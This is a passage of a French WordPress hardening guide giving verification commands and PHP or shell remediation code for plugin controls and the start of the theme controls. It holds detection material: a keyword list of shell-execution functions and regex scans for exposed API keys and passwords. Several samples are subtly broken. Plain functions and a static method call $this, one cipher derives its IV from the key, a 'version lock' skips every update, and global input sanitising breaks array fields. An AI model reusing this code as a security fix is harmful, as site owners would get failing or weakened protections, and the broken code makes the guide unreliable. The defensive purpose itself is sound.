function validate_plugin_deactivation($plugin) {\n    $dependencies = get_option('plugin_dependencies', array());\n\n    foreach ($dependencies as $dependent_plugin => $required_plugins) {\n        if (in_array($plugin, $required_plugins) && is_plugin_active($dependent_plugin)) {\n            wp_die("Impossible de désactiver $plugin : requis par $dependent_plugin");\n        }\n    }\n}\nadd_action('deactivate_plugin', 'validate_plugin_deactivation');\n

Valeur par défaut : Gestion manuelle des dépendances

3.1.10 — Sandbox et Tests Plugins

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.10 / NIST 800-53 CM-3
\nMITRE ATT&CK : T1505

Description : Tester les nouveaux plugins dans un environnement de staging isolé avant déploiement en production pour identifier les risques de sécurité.

Vérification :

# Vérifier environnement de staging\nwp option get siteurl\nwp config get WP_ENVIRONMENT_TYPE\n# Comparer plugins prod vs staging\nwp plugin list --format=csv > production_plugins.csv\n

Remédiation :
\n1. Configuration environnement de test :

// wp-config.php staging\ndefine('WP_ENVIRONMENT_TYPE', 'staging');\ndefine('WP_DEBUG', true);\ndefine('WP_DEBUG_LOG', true);\n

Procédure de test :

# Script de test automatisé\n#!/bin/bash\nSTAGING_URL="https://staging.example.com"\nPLUGIN_NAME=$1\n\n# Installer sur staging\nwp plugin install $PLUGIN_NAME --activate --url=$STAGING_URL\n# Scanner vulnérabilités\nwpscan --url $STAGING_URL --enumerate vp\n# Test fonctionnel\ncurl -s $STAGING_URL | grep -i "error\\|warning"\n# Si OK, déployer en prod\n

Isolation des tests :

function restrict_staging_plugins() {\n    if (wp_get_environment_type() === 'staging') {\n        // Désactiver plugins dangereux en staging\n        $dangerous_plugins = array('backup-plugin', 'mail-sender');\n        foreach ($dangerous_plugins as $plugin) {\n            if (is_plugin_active($plugin)) {\n                deactivate_plugins($plugin);\n            }\n        }\n    }\n}\nadd_action('plugins_loaded', 'restrict_staging_plugins');\n

Valeur par défaut : Installation directe en production

3.1.11 — Monitoring Activité Plugins

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 4.11 / NIST 800-53 AU-2
\nMITRE ATT&CK : T1505

Description : Surveiller l'activité des plugins (installation, activation, désactivation, mises à jour) pour détecter les changements non autorisés.

Vérification :

# Vérifier logs d'activité\nwp plugin list | grep -iE "(activity|audit|log)"\n# Examiner logs plugin changes\ntail -f wp-content/uploads/wp-security-audit-log/\n

Remédiation :
\n1. Logging complet des activités :

function log_plugin_activities($plugin, $network_activation) {\n    $user = wp_get_current_user();\n    $log_entry = array(\n        'timestamp' => current_time('mysql'),\n        'user' => $user->user_login,\n        'action' => 'plugin_activation',\n        'plugin' => $plugin,\n        'ip' => $_SERVER['REMOTE_ADDR']\n    );\n\n    error_log('PLUGIN_ACTIVITY: ' . json_encode($log_entry));\n\n    // Alerter pour plugins critiques\n    if (strpos($plugin, 'security') !== false) {\n        wp_mail('[email protected]', 'Plugin sécurité activé', \n                "Plugin $plugin activé par {$user->user_login}");\n    }\n}\nadd_action('activated_plugin', 'log_plugin_activities', 10, 2);\nadd_action('deactivated_plugin', 'log_plugin_activities', 10, 2);\n

Dashboard monitoring :

function plugin_activity_dashboard() {\n    $recent_activities = get_option('recent_plugin_activities', array());\n    echo '<div class="notice notice-info">';\n    echo '<h3>Activité Plugins Récente</h3>';\n    foreach ($recent_activities as $activity) {\n        echo "<p>{$activity['timestamp']} - {$activity['action']} - {$activity['plugin']}</p>";\n    }\n    echo '</div>';\n}\nadd_action('admin_notices', 'plugin_activity_dashboard');\n

Valeur par défaut : Activité non surveillée

3.1.12 — Politique Installation Plugins

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 4.12 / NIST 800-53 CM-3
\nMITRE ATT&CK : T1505

Description : Établir une politique stricte d'installation et de gestion des plugins avec processus d'approbation et validation sécurisée.

Vérification :

# Vérifier qui peut installer des plugins\nwp user list --role=administrator --format=table\n# Vérifier restrictions actuelles\ngrep "DISALLOW_FILE_MODS" wp-config.php\n

Remédiation :
\n1. Restriction installation :

// wp-config.php - Désactiver installation plugins\ndefine('DISALLOW_FILE_MODS', true);\n

Processus d'approbation :

function require_plugin_approval($result, $action, $args) {\n    if ($action === 'install-plugin') {\n        $approved_plugins = get_option('approved_plugins', array());\n        $plugin_slug = $args['slug'];\n\n        if (!in_array($plugin_slug, $approved_plugins)) {\n            return new WP_Error('unapproved_plugin', \n                'Plugin non approuvé. Contactez l\\'administrateur.');\n        }\n    }\n    return $result;\n}\nadd_filter('upgrader_pre_download', 'require_plugin_approval', 10, 3);\n

Whitelist plugins autorisés :

function enforce_plugin_whitelist() {\n    $allowed_plugins = array(\n        'wordfence/wordfence.php',\n        'updraftplus/updraftplus.php',\n        'yoast-seo/wp-seo.php'\n    );\n\n    $active_plugins = get_option('active_plugins');\n    foreach ($active_plugins as $plugin) {\n        if (!in_array($plugin, $allowed_plugins)) {\n            deactivate_plugins($plugin);\n            wp_mail('[email protected]', 'Plugin non autorisé désactivé', \n                    "Plugin $plugin automatiquement désactivé.");\n        }\n    }\n}\nadd_action('admin_init', 'enforce_plugin_whitelist');\n

Valeur par défaut : Installation libre

3.1.13 — Backup avant Modifications Plugins

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.13 / NIST 800-53 CP-9
\nMITRE ATT&CK : T1485

Description : Effectuer systématiquement des sauvegardes avant l'installation, mise à jour ou modification de plugins pour permettre une restauration rapide.

Vérification :

# Vérifier politique backup\nwp plugin list | grep -iE "(backup|updraft)"\n# Dernière sauvegarde\nwp option get updraftplus_last_backup\n

Remédiation :
\n1. Backup automatique avant modifications :

function backup_before_plugin_changes($upgrader, $hook_extra) {\n    if (isset($hook_extra['type']) && $hook_extra['type'] === 'plugin') {\n        // Déclencher sauvegarde\n        do_action('updraftplus_backup_now', 'plugins_only');\n\n        // Attendre completion\n        sleep(5);\n\n        // Vérifier succès backup\n        $last_backup = get_option('updraftplus_last_backup');\n        if (!$last_backup || (time() - $last_backup) > 300) {\n            wp_die('Sauvegarde échouée. Modification annulée.');\n        }\n    }\n}\nadd_action('upgrader_process_complete', 'backup_before_plugin_changes', 10, 2);\n

Point de restauration :

# Script de point de restauration\n#!/bin/bash\nBACKUP_DIR="/backups/$(date +%Y%m%d_%H%M%S)"\nmkdir -p $BACKUP_DIR\ntar -czf $BACKUP_DIR/plugins.tar.gz wp-content/plugins/\nmysqldump -u$DB_USER -p$DB_PASS $DB_NAME > $BACKUP_DIR/database.sql\necho "Backup créé: $BACKUP_DIR"\n

Valeur par défaut : Modifications sans sauvegarde

3.1.14 — Contrôle Versions Plugins

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.14 / NIST 800-53 CM-3
\nMITRE ATT&CK : T1195

Description : Maintenir un contrôle strict des versions des plugins utilisées, éviter les versions beta/alpha en production, documenter les versions approuvées.

Vérification :

# Versions actuelles\nwp plugin list --format=table --fields=name,version,status\n# Vérifier versions beta/dev\nwp plugin list --format=json | jq '.[] | select(.version | contains("beta") or contains("dev") or contains("alpha"))'\n

Remédiation :
\n1. Politique versions stables uniquement :

function enforce_stable_versions($result, $action, $args) {\n    if ($action === 'install-plugin') {\n        $version = $args['version'] ?? 'latest';\n        if (preg_match('/(alpha|beta|dev|rc)/i', $version)) {\n            return new WP_Error('unstable_version', \n                'Versions non-stables interdites en production.');\n        }\n    }\n    return $result;\n}\nadd_filter('upgrader_pre_download', 'enforce_stable_versions', 10, 3);\n

Verrouillage versions critiques :

function lock_critical_plugin_versions($transient) {\n    $locked_versions = array(\n        'wordfence/wordfence.php' => '7.8.2',\n        'updraftplus/updraftplus.php' => '1.22.23'\n    );\n\n    if (isset($transient->response)) {\n        foreach ($locked_versions as $plugin => $locked_version) {\n            if (isset($transient->response[$plugin])) {\n                unset($transient->response[$plugin]);\n            }\n        }\n    }\n\n    return $transient;\n}\nadd_filter('pre_set_site_transient_update_plugins', 'lock_critical_plugin_versions');\n

Valeur par défaut : Mises à jour automatiques vers dernière version

3.1.15 — Séparation Plugins par Environnement

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.15 / NIST 800-53 CM-2
\nMITRE ATT&CK : T1505

Description : Maintenir des configurations de plugins différentes selon les environnements (dev/staging/prod) pour éviter l'exposition de fonctionnalités de debug en production.

Vérification :

# Identifier environnement\nwp config get WP_ENVIRONMENT_TYPE\n# Plugins de debug actifs\nwp plugin list | grep -iE "(debug|dev|test|query|profil)"\n

Remédiation :
\n1. Configuration par environnement :

function environment_specific_plugins() {\n    $environment = wp_get_environment_type();\n\n    switch ($environment) {\n        case 'production':\n            $forbidden_plugins = array(\n                'query-monitor/query-monitor.php',\n                'debug-bar/debug-bar.php',\n                'developer/developer.php'\n            );\n\n            foreach ($forbidden_plugins as $plugin) {\n                if (is_plugin_active($plugin)) {\n                    deactivate_plugins($plugin);\n                }\n            }\n            break;\n\n        case 'staging':\n            // Activer plugins de test\n            if (!is_plugin_active('query-monitor/query-monitor.php')) {\n                activate_plugin('query-monitor/query-monitor.php');\n            }\n            break;\n    }\n}\nadd_action('plugins_loaded', 'environment_specific_plugins');\n

Must-use plugins par environnement :

// mu-plugins/environment-control.php\nif (wp_get_environment_type() === 'production') {\n    // Désactiver fonctionnalités dangereuses\n    define('WP_DEBUG', false);\n    define('SCRIPT_DEBUG', false);\n} else {\n    // Environnement de développement\n    define('WP_DEBUG', true);\n    define('SCRIPT_DEBUG', true);\n}\n

Valeur par défaut : Configuration identique tous environnements

3.1.16 — Audit Permissions Système Plugins

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 4.16 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : Auditer les permissions système requises par les plugins (lecture/écriture fichiers, accès base de données, appels réseau) pour identifier les sur-privilèges.

Vérification :

# Analyser capabilities des plugins\ngrep -r "current_user_can\\|capability" wp-content/plugins/ | head -20\n# Vérifier accès fichier système\nfind wp-content/plugins/ -name "*.php" -exec grep -l "file_get_contents\\|fopen\\|curl" {} \\;\n

Remédiation :
\n1. Audit des capabilities :

function audit_plugin_capabilities() {\n    $plugins = get_plugins();\n    $capability_report = array();\n\n    foreach ($plugins as $plugin_file => $plugin_data) {\n        if (is_plugin_active($plugin_file)) {\n            // Analyser le code pour les capabilities utilisées\n            $plugin_path = WP_PLUGIN_DIR . '/' . $plugin_file;\n            $content = file_get_contents($plugin_path);\n\n            preg_match_all('/current_user_can\\s*\\(\\s*[\\'"]([^\\'"]+)[\\'"]/', $content, $matches);\n            $capability_report[$plugin_data['Name']] = array_unique($matches[1]);\n        }\n    }\n\n    update_option('plugin_capability_audit', $capability_report);\n    return $capability_report;\n}\n

Restriction capabilities par plugin :

function restrict_plugin_capabilities($caps, $cap, $user_id, $args) {\n    $restricted_plugins = array(\n        'non-critical-plugin' => array('manage_options', 'edit_users')\n    );\n\n    $current_plugin = $this->get_current_plugin();\n    if (isset($restricted_plugins[$current_plugin]) && \n        in_array($cap, $restricted_plugins[$current_plugin])) {\n        return array('do_not_allow');\n    }\n\n    return $caps;\n}\nadd_filter('user_has_cap', 'restrict_plugin_capabilities', 10, 4);\n

Valeur par défaut : Permissions non auditées

3.1.17 — Protection Fichiers Configuration Plugins

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 4.17 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Protéger les fichiers de configuration des plugins contre l'accès web direct, particulièrement ceux contenant des clés API ou credentials.

Vérification :

# Rechercher fichiers config exposés\nfind wp-content/plugins/ -name "*.ini" -o -name "*.conf" -o -name "config.php"\ncurl -s https://example.com/wp-content/plugins/plugin-name/config.ini\n# Vérifier clés API dans fichiers\ngrep -r "api.*key\\|secret.*key" wp-content/plugins/ | grep -v ".git"\n

Remédiation :
\n1. Protection via .htaccess :

# wp-content/plugins/.htaccess\n<FilesMatch "\\.(ini|conf|config)$">\nOrder allow,deny\nDeny from all\n</FilesMatch>\n\n<FilesMatch "config\\.php$">\nOrder allow,deny\nDeny from all\n</FilesMatch>\n

Déplacement fichiers sensibles :

// Déplacer config hors web root\nfunction secure_plugin_config() {\n    $config_dir = ABSPATH . '../plugin-configs/';\n    if (!is_dir($config_dir)) {\n        mkdir($config_dir, 0700, true);\n    }\n\n    // Rediriger les plugins vers ce répertoire\n    define('SECURE_CONFIG_DIR', $config_dir);\n}\nadd_action('plugins_loaded', 'secure_plugin_config', 1);\n

Chiffrement des configurations :

function encrypt_plugin_config($data) {\n    $key = wp_salt('AUTH_KEY');\n    return base64_encode(openssl_encrypt($data, 'AES-256-CBC', $key, 0, substr($key, 0, 16)));\n}\n\nfunction decrypt_plugin_config($encrypted_data) {\n    $key = wp_salt('AUTH_KEY');\n    return openssl_decrypt(base64_decode($encrypted_data), 'AES-256-CBC', $key, 0, substr($key, 0, 16));\n}\n

Valeur par défaut : Fichiers config potentiellement accessibles

3.1.18 — Isolation Plugins Critiques

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.18 / NIST 800-53 SC-7
\nMITRE ATT&CK : T1505

Description : Isoler les plugins critiques (sécurité, backup) pour éviter les interférences et garantir leur fonctionnement même en cas de problème avec d'autres plugins.

Vérification :

# Identifier plugins critiques\nwp plugin list | grep -iE "(security|backup|firewall|malware)"\n# Vérifier conflits potentiels\nwp plugin list --status=active --format=count\n

Remédiation :
\n1. Must-Use Plugins pour critiques :

# Déplacer plugins critiques vers mu-plugins\nmkdir -p wp-content/mu-plugins\ncp -r wp-content/plugins/wordfence wp-content/mu-plugins/\n

Chargement prioritaire :

// mu-plugins/critical-plugins-loader.php\nfunction load_critical_plugins_first() {\n    $critical_plugins = array(\n        'wordfence/wordfence.php',\n        'updraftplus/updraftplus.php'\n    );\n\n    foreach ($critical_plugins as $plugin) {\n        if (file_exists(WP_PLUGIN_DIR . '/' . $plugin)) {\n            include_once WP_PLUGIN_DIR . '/' . $plugin;\n        }\n    }\n}\nadd_action('muplugins_loaded', 'load_critical_plugins_first', 1);\n

Monitoring isolation :

function monitor_plugin_isolation() {\n    $critical_plugins = array('wordfence', 'updraftplus');\n\n    foreach ($critical_plugins as $plugin) {\n        if (!is_plugin_active($plugin . '/' . $plugin . '.php')) {\n            wp_mail('[email protected]', 'Plugin critique inactif', \n                    "Le plugin critique $plugin est inactif!");\n        }\n    }\n}\nwp_schedule_event(time(), 'hourly', 'monitor_plugin_isolation');\n

Valeur par défaut : Tous plugins au même niveau

3.1.19 — Gestion Licences et Mises à Jour Premium

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.19 / NIST 800-53 CM-8
\nMITRE ATT&CK : T1195

Description : Gérer correctement les licences des plugins premium pour assurer la réception des mises à jour de sécurité et éviter l'utilisation de versions piratées.

Vérification :

# Plugins premium installés\nwp plugin list --format=json | jq '.[] | select(.update == "available" and .version != .update_version)'\n# Vérifier licences expirées\ngrep -r "license.*expir\\|invalid.*license" wp-content/plugins/\n

Remédiation :
\n1. Audit des licences :

function audit_premium_licenses() {\n    $premium_plugins = array(\n        'gravityforms' => get_option('rg_gforms_key'),\n        'wpforms-lite' => get_option('wpforms_license_key'),\n        'elementor-pro' => get_option('elementor_pro_license_key')\n    );\n\n    foreach ($premium_plugins as $plugin => $license) {\n        if (empty($license) || $this->is_license_expired($license)) {\n            wp_mail('[email protected]', 'Licence plugin expirée', \n                    "La licence du plugin $plugin nécessite un renouvellement.");\n        }\n    }\n}\nwp_schedule_event(time(), 'weekly', 'audit_premium_licenses');\n

Alertes expiration :

function check_license_expiration($plugin_name, $license_data) {\n    if (isset($license_data['expires']) && \n        strtotime($license_data['expires']) < strtotime('+30 days')) {\n\n        // Alerte 30 jours avant expiration\n        wp_mail('[email protected]', 'Licence bientôt expirée', \n                "La licence de $plugin_name expire le {$license_data['expires']}");\n    }\n}\n

Valeur par défaut : Licences non surveillées

3.1.20 — Tests Sécurité Automatisés

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.20 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Implémenter des tests de sécurité automatisés pour détecter les vulnérabilités dans les plugins après chaque installation ou mise à jour.

Vérification :

# Scanner automatique avec WPScan\nwpscan --url https://example.com --enumerate vp --format json > plugin_scan.json\n# Analyser résultats\njq '.plugins[].vulnerabilities[]?' plugin_scan.json\n

Remédiation :
\n1. Pipeline de tests automatisés :

#!/bin/bash\n# tests/security-scan.sh\nSITE_URL=$1\nSCAN_RESULTS="/tmp/wpscan_$(date +%s).json"\n\n# Scan plugins\nwpscan --url $SITE_URL --enumerate vp --format json --output $SCAN_RESULTS\n\n# Analyser vulnérabilités\nVULN_COUNT=$(jq '[.plugins[].vulnerabilities[]?] | length' $SCAN_RESULTS)\n\nif [ $VULN_COUNT -gt 0 ]; then\n    echo "ALERTE: $VULN_COUNT vulnérabilités détectées"\n    jq '.plugins[].vulnerabilities[]?' $SCAN_RESULTS | mail -s "Vulnérabilités plugins détectées" [email protected]\n    exit 1\nfi\n

Intégration continue :

function automated_security_scan() {\n    // Après mise à jour plugin\n    $command = "wpscan --url " . site_url() . " --enumerate vp --format json";\n    $output = shell_exec($command);\n    $results = json_decode($output, true);\n\n    if (isset($results['plugins'])) {\n        foreach ($results['plugins'] as $plugin => $data) {\n            if (!empty($data['vulnerabilities'])) {\n                // Désactiver plugin vulnérable\n                deactivate_plugins($plugin);\n                wp_mail('[email protected]', 'Plugin vulnérable désactivé', \n                        "Plugin $plugin désactivé automatiquement - vulnérabilités détectées");\n            }\n        }\n    }\n}\nadd_action('upgrader_process_complete', 'automated_security_scan');\n

Valeur par défaut : Tests manuels uniquement

3.1.21 — Chiffrement Données Plugins

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 4.21 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1005

Description : Assurer que les plugins traitant des données sensibles implémentent un chiffrement approprié pour le stockage et la transmission.

Vérification :

# Rechercher données sensibles non chiffrées\ngrep -r "password\\|api.*key\\|secret" wp-content/plugins/ | grep -v "encrypt\\|hash\\|bcrypt"\n# Vérifier utilisation SSL pour API\ngrep -r "http://" wp-content/plugins/ | grep -v "localhost"\n

Remédiation :
\n1. Audit chiffrement des données :

function audit_plugin_encryption() {\n    $sensitive_data_patterns = array(\n        'api_key' => '/api.*key.*[\\'"]([^\\'"]{20,})[\\'"]/',\n        'password' => '/password.*[\\'"]([^\\'"]{8,})[\\'"]/',\n        'secret' => '/secret.*[\\'"]([^\\'"]{16,})[\\'"]/'\n    );\n\n    $plugins_dir = WP_PLUGIN_DIR;\n    $unencrypted_data = array();\n\n    foreach (glob("$plugins_dir/*/*.php") as $file) {\n        $content = file_get_contents($file);\n        foreach ($sensitive_data_patterns as $type => $pattern) {\n            if (preg_match($pattern, $content, $matches)) {\n                $unencrypted_data[] = array(\n                    'file' => $file,\n                    'type' => $type,\n                    'data' => substr($matches[1], 0, 10) . '...'\n                );\n            }\n        }\n    }\n\n    if (!empty($unencrypted_data)) {\n        wp_mail('[email protected]', 'Données sensibles non chiffrées', \n                'Données sensibles détectées: ' . print_r($unencrypted_data, true));\n    }\n}\n

Helper de chiffrement pour plugins :

class SecurePluginStorage {\n    private static function get_key() {\n        return wp_salt('AUTH_KEY');\n    }\n\n    public static function encrypt($data) {\n        $key = self::get_key();\n        $iv = openssl_random_pseudo_bytes(16);\n        $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, 0, $iv);\n        return base64_encode($iv . $encrypted);\n    }\n\n    public static function decrypt($encrypted_data) {\n        $key = self::get_key();\n        $data = base64_decode($encrypted_data);\n        $iv = substr($data, 0, 16);\n        $encrypted = substr($data, 16);\n        return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);\n    }\n}\n

Valeur par défaut : Stockage données sensibles en clair

3.1.22 — Contrôle Accès Réseau Plugins

Niveau : ?
\nRéférence : OWASP A10 / CIS WordPress 4.22 / NIST 800-53 SC-7
\nMITRE ATT&CK : T1071

Description : Contrôler et limiter les accès réseau des plugins pour prévenir l'exfiltration de données et les communications avec des serveurs malveillants.

Vérification :

# Analyser appels réseau des plugins\ngrep -r "wp_remote_\\|curl\\|file_get_contents.*http" wp-content/plugins/ | head -20\n# Vérifier domaines contactés\nnetstat -an | grep :80 | grep ESTABLISHED\n

Remédiation :
\n1. Whitelist des domaines autorisés :

function filter_plugin_http_requests($result, $args, $url) {\n    $allowed_domains = array(\n        'api.wordpress.org',\n        'downloads.wordpress.org',\n        'secure.gravatar.com',\n        'fonts.googleapis.com'\n    );\n\n    $domain = parse_url($url, PHP_URL_HOST);\n\n    if (!in_array($domain, $allowed_domains)) {\n        // Logger tentative accès non autorisée\n        error_log("BLOCKED HTTP request to: $url");\n        return new WP_Error('http_request_blocked', 'Domaine non autorisé');\n    }\n\n    return $result;\n}\nadd_filter('pre_http_request', 'filter_plugin_http_requests', 10, 3);\n

Monitoring communications :

function monitor_plugin_communications($response, $args, $url) {\n    $suspicious_patterns = array(\n        'base64', 'eval', 'exec', 'system', 'shell_exec'\n    );\n\n    if (isset($args['body'])) {\n        foreach ($suspicious_patterns as $pattern) {\n            if (strpos($args['body'], $pattern) !== false) {\n                wp_mail('[email protected]', 'Communication suspecte détectée', \n                        "Requête suspecte vers $url avec pattern: $pattern");\n                break;\n            }\n        }\n    }\n\n    return $response;\n}\nadd_filter('http_response', 'monitor_plugin_communications', 10, 3);\n

Valeur par défaut : Accès réseau illimité

3.1.23 — Validation Entrées Plugins

Niveau : ?
\nRéférence : OWASP A03 / CIS WordPress 4.23 / NIST 800-53 SI-10
\nMITRE ATT&CK : T1190

Description : Vérifier que les plugins valident et assainissent correctement toutes les entrées utilisateurs pour prévenir les injections et autres attaques.

Vérification :

# Rechercher validation insuffisante\ngrep -r "\\$_POST\\|\\$_GET\\|\\$_REQUEST" wp-content/plugins/ | grep -v "sanitize\\|escape\\|validate"\n# Analyser fonctions de sanitisation\ngrep -r "sanitize_\\|wp_kses\\|esc_" wp-content/plugins/ | wc -l\n

Remédiation :
\n1. Audit validation des entrées :

function audit_plugin_input_validation() {\n    $plugins_dir = WP_PLUGIN_DIR;\n    $validation_issues = array();\n\n    foreach (glob("$plugins_dir/*/*.php") as $file) {\n        $content = file_get_contents($file);\n\n        // Rechercher $_POST, $_GET non sécurisés\n        if (preg_match_all('/\\$_(POST|GET|REQUEST)\\[[\\'"]([^\\'"]+)[\\'"]\\]/', $content, $matches, PREG_OFFSET_CAPTURE)) {\n            foreach ($matches[0] as $index => $match) {\n                $line_start = strrpos(substr($content, 0, $match[1]), "\\n");\n                $line_end = strpos($content, "\\n", $match[1]);\n                $line = substr($content, $line_start, $line_end - $line_start);\n\n                // Vérifier si la ligne contient une fonction de sanitisation\n                if (!preg_match('/(sanitize_|wp_kses|esc_|intval|absint|wp_verify_nonce)/', $line)) {\n                    $validation_issues[] = array(\n                        'file' => $file,\n                        'variable' => $match[0],\n                        'line' => $line\n                    );\n                }\n            }\n        }\n    }\n\n    if (!empty($validation_issues)) {\n        wp_mail('[email protected]', 'Problèmes validation détectés', \n                'Entrées non validées: ' . print_r($validation_issues, true));\n    }\n}\n

Renforcement global validation :

function enforce_input_validation() {\n    // Sanitiser automatiquement toutes les entrées\n    $_POST = array_map('sanitize_text_field', $_POST);\n    $_GET = array_map('sanitize_text_field', $_GET);\n    $_REQUEST = array_map('sanitize_text_field', $_REQUEST);\n}\nadd_action('init', 'enforce_input_validation', 1);\n

Valeur par défaut : Validation dépendante du développeur plugin

3.1.24 — Gestion Erreurs et Exceptions Plugins

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 4.24 / NIST 800-53 SI-11
\nMITRE ATT&CK : T1005

Description : Assurer que les plugins gèrent correctement les erreurs sans révéler d'informations sensibles et avec une logging appropriée.

Vérification :

# Rechercher gestion d'erreurs\ngrep -r "try\\|catch\\|throw\\|error_log" wp-content/plugins/ | wc -l\n# Vérifier exposition d'erreurs\ngrep -r "print_r\\|var_dump\\|echo.*error" wp-content/plugins/\n

Remédiation :
\n1. Standards gestion d'erreurs :

function standardize_plugin_error_handling() {\n    // Gestionnaire d'erreurs global pour plugins\n    set_error_handler(function($severity, $message, $file, $line) {\n        if (strpos($file, WP_PLUGIN_DIR) !== false) {\n            // Log sécurisé pour erreurs plugins\n            error_log("PLUGIN_ERROR: [$severity] $message in $file:$line");\n\n            // En production, ne pas afficher les erreurs\n            if (wp_get_environment_type() === 'production') {\n                return true; // Supprime l'affichage\n            }\n        }\n        return false; // Laisse le gestionnaire par défaut\n    });\n}\nadd_action('plugins_loaded', 'standardize_plugin_error_handling', 1);\n

Wrapper sécurisé pour plugins :

class SecurePluginLogger {\n    public static function log_error($plugin_name, $message, $data = null) {\n        $log_entry = array(\n            'plugin' => $plugin_name,\n            'timestamp' => current_time('mysql'),\n            'message' => $message,\n            'ip' => $_SERVER['REMOTE_ADDR'],\n            'user_agent' => $_SERVER['HTTP_USER_AGENT']\n        );\n\n        if ($data) {\n            // Nettoyer données sensibles avant log\n            $log_entry['data'] = $this->sanitize_log_data($data);\n        }\n\n        error_log('SECURE_PLUGIN_LOG: ' . json_encode($log_entry));\n    }\n\n    private static function sanitize_log_data($data) {\n        $sensitive_keys = array('password', 'api_key', 'secret', 'token');\n\n        if (is_array($data)) {\n            foreach ($data as $key => $value) {\n                if (in_array(strtolower($key), $sensitive_keys)) {\n                    $data[$key] = '***REDACTED***';\n                }\n            }\n        }\n\n        return $data;\n    }\n}\n

Valeur par défaut : Gestion d'erreurs variable selon plugins

3.1.25 — Documentation et Traçabilité Plugins

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 4.25 / NIST 800-53 AU-3
\nMITRE ATT&CK : T1070

Description : Maintenir une documentation complète des plugins installés, leurs fonctions, configurations et historique des modifications pour faciliter les audits et investigations.

Vérification :

# Documentation existante\nfind . -name "*plugin*doc*" -o -name "*README*" -o -name "*CHANGELOG*"\n# Historique modifications\nwp plugin list --format=csv --fields=name,version,status > current_plugins.csv\ndiff previous_plugins.csv current_plugins.csv\n

Remédiation :
\n1. Documentation automatisée :

function generate_plugin_documentation() {\n    $plugins = get_plugins();\n    $active_plugins = get_option('active_plugins');\n    $documentation = array();\n\n    foreach ($plugins as $plugin_file => $plugin_data) {\n        $doc_entry = array(\n            'name' => $plugin_data['Name'],\n            'version' => $plugin_data['Version'],\n            'description' => $plugin_data['Description'],\n            'author' => $plugin_data['Author'],\n            'active' => in_array($plugin_file, $active_plugins),\n            'last_updated' => get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin_file)['Version'],\n            'security_audit_date' => get_option("plugin_audit_$plugin_file", 'Never'),\n            'configuration' => $this->get_plugin_configuration($plugin_file)\n        );\n\n        $documentation[] = $doc_entry;\n    }\n\n    // Générer rapport\n    file_put_contents(ABSPATH . 'plugin-documentation.json', \n                     json_encode($documentation, JSON_PRETTY_PRINT));\n\n    return $documentation;\n}\n

Historique des changements :

function track_plugin_changes($plugin, $network_activation) {\n    $change_log = get_option('plugin_change_log', array());\n\n    $change_entry = array(\n        'timestamp' => current_time('mysql'),\n        'plugin' => $plugin,\n        'action' => current_filter(), // activated_plugin, deactivated_plugin\n        'user' => wp_get_current_user()->user_login,\n        'ip' => $_SERVER['REMOTE_ADDR'],\n        'user_agent' => $_SERVER['HTTP_USER_AGENT']\n    );\n\n    $change_log[] = $change_entry;\n\n    // Garder seulement les 1000 dernières entrées\n    if (count($change_log) > 1000) {\n        $change_log = array_slice($change_log, -1000);\n    }\n\n    update_option('plugin_change_log', $change_log);\n}\nadd_action('activated_plugin', 'track_plugin_changes', 10, 2);\nadd_action('deactivated_plugin', 'track_plugin_changes', 10, 2);\n

Valeur par défaut : Documentation manuelle et incomplète

S4 — THÈMES (15 contrôles)

Cette section couvre la sécurité des thèmes WordPress, leur configuration et leur maintenance.

4.1.1 — Thème Actif Sécurisé et À Jour

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 5.1 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Le thème actif doit être maintenu à jour et exempt de vulnérabilités connues. Les thèmes obsolètes constituent une porte d'entrée majeure pour les attaquants.

Vérification :

# Vérifier thème actif et version\nwp theme list --status=active --format=table --fields=name,version,update_version\n# Scanner vulnérabilités thèmes\nwpscan --url https://example.com --enumerate vt --no-banner\n# Vérifier dernière mise à jour\nwp theme get $(wp theme list --status=active --field=name) --field=version\n

Remédiation :
\n1. Mise à jour immédiate du thème :

wp theme update --all\nwp theme update $(wp theme list --status=active --field=name)\n

Auto-update pour le thème actif :

wp theme auto-updates enable $(wp theme list --status=active --field=name)\n

Surveillance des mises à jour :

function monitor_theme_updates() {\n    $current_theme = get_stylesheet();\n    $theme_updates = get_site_transient('update_themes');\n\n    if (isset($theme_updates->response[$current_theme])) {\n        wp_mail('[email protected]', 'Mise à jour thème disponible', \n                "Une mise à jour est disponible pour le thème actif: $current_theme");\n    }\n}\nwp_schedule_event(time(), 'daily', 'monitor_theme_updates');\n

Valeur par défaut : Mises à jour manuelles

4.1.2 — Suppression Thèmes Inactifs

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 5.2 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1190

Description : Les thèmes inactifs représentent une surface d'attaque inutile. Ils peuvent contenir des vulnérabilités exploitables même sans être activés et doivent être supprimés.

Vérification :

# Lister thèmes inactifs\nwp theme list --status=inactive --format=table\n# Compter thèmes inactifs\nwp theme list --status=inactive --format=count\n# Vérifier vulnérabilités dans thèmes inactifs\nwpscan --url https://example.com --enumerate vt --no-banner\n

Remédiation :
\n1. Supprimer tous les thèmes inactifs :

wp theme delete $(wp theme list --status=inactive --field=name)\n

Garder seulement un thème de fallback :

# Garder un thème WordPress par défaut comme backup\nwp theme install twentytwentythree\nwp theme delete $(wp theme list --status=inactive --field=name | grep -v twentytwentythree)\n

Politique de suppression automatique :

